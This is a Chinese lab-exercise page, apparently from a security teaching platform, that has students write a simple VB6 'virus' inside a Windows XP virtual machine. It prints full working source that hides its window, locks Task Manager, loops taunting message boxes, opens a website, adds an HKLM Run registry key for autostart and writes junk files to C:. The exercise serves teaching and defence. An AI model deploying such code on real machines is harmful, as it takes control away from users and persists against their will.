实验目的

探讨VBS病毒实现原理,为更好的深入防御和查杀病毒

实验原理

VBS病毒发生机理

实验内容

编写简单VBS病毒,并实现功能,学习VBS病毒发生机理

实验环境描述

VPC1(虚拟PC) 操作系统类型:windows xp,网络接口:eth0

VPC1连接要求 与实验网络相连

软件描述 VB6.0

实验步骤

1.学生单击实验进入目标主机,输入用户名和密码:xp 123456(第一次启动目标主机,还需要安装java空间),如图所示:

点击桌面上Visual Basic 6.0精简版——Visual Basic 6.0精简版,打开VB 6.0,如教材图2所示

进入VB6.0可看到如教材所示“新建工程”窗口

1 使用VB6.0 创建一个新的工程,在FORM1 的属性中,找到Visible,修改它的属性为False

这样运行程序时就看不到窗口了

2 在FORM1 的代码窗口中添加代码如下:

Private Sub Form_Load()

Dim say(9) As String

'定义了一个数组,可以保存10 个字符串数据,病毒作者往往使用数组存储调侃语句,捉弄

用户

Dim over As Boolean, i As Integer

over = False

say(0) = "真的好爱你哦!这不,为了摘朵玫瑰花@>+++---给你,竟让看花的老头追了9 条

街!"

'这里就是病毒作者的调侃语句

say(1) = "你以为你是谁?还不是中了病毒没招~~"

say(2) = "除非你承认错误,否则本病毒就是不给你关闭~"

'这里还可以设置很多语句

say(9) = "谁让你不好好学习计算机安全知识,中了病毒傻眼了吧~"

Open Environ("windir") + "\system32\taskmgr.exe" for Input Lock Read As #1

'使用open 语句打开任务管理器时,用户无法调用任务管理器关闭病毒进程

'其中的lock read 实现了锁定读操作

Do while over = False

'---------------------------------1:弹出模态窗口

MsgBox say(i), vbCritical, "病毒警告!"

'显示一个模态窗口,导致无法用户操作其他窗口

i = i + 1

'---------------------------------2:循环打开病毒网站

Shell "explorer.exe http://g.cn", vbNormalFocus

'---------------------------------3:写入注册表实现自启动

Set my = CreateObject("WScript.Shell") '创建一个WScript 对象

my.regWrite

"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\test",

App.Path + "\" + App.EXEName + ".exe", "REG_SZ"

'---------------------------------4:写入垃圾信息

Dim x As Integer

Randomize

x = Rnd(1000)

On Error Resume Next

Open "c:\virus_" + CStr(x) + ".txt" for Output As #1 '打开磁盘文件

Print #1, say(i) '写入垃圾信息

Close

'---------------------------------OVER

if i = 10 Then over = True ' 这里只循环了10 次,黑客可能会循环无限次

Loop

Close

End Sub

3 生产程序后,执行病毒,会发现该病毒实现了弹出一些警告对话框及一些站点,同时会写入注册表实现病毒耳朵自启动,最后还会向磁盘写入一些垃圾信息。

jpg)

我们还会发现,病毒实现了自启动,运行,输入Regedit 打开注册表

我们在下图中的位置会发现,病毒在 Run 中填写了test,其键值指向我们病毒的程序

还会生成一些垃圾文件

最新文章

  1. MSSQL日期格式化
  2. C++模板【转】
  3. PHP holiday1
  4. Bootstrap系列 -- 31.嵌套分组
  5. AngularJS 实现的输入自动完成补充功能
  6. 递归---n皇后
  7. 练习JavaScript实现梯形乘法表 效果:
  8. activity的android:name 设置问题
  9. OK335xS LAN8710 phy driver hacking
  10. 聊一聊c++中指针为空的三种写法 ----->NULL, 0, nullptr
  11. hdu1028:整数拆分
  12. web.py安装
  13. 安装配置sentry服务
  14. springmvc 之 helloworld
  15. 深入理解计算机系统chapter2
  16. 基于Java SE集合的充值管理系统
  17. 04_Python的数据类型1数值和字符串_Python编程之路
  18. 联盟链初识以及Fabric环境搭建流程
  19. 批量telnet端口通不通
  20. English Voice of <<All Of Me>>

热门文章

  1. 611. Valid Triangle Number
  2. 小程序或者vue,解决菜单导航做做成轮播的样子
  3. golang中循环或递归求阶乘
  4. javaObject—toString方法
  5. 鸿蒙轻内核M核源码分析:LibC实现之Musl LibC
  6. MySQL语句SQL应用
  7. 配置kubectl连接多个kubernetes集群
  8. shell脚本检查域名证书是否过期
  9. IPsec协议簇简析
  10. Datawhale 人工智能培养方案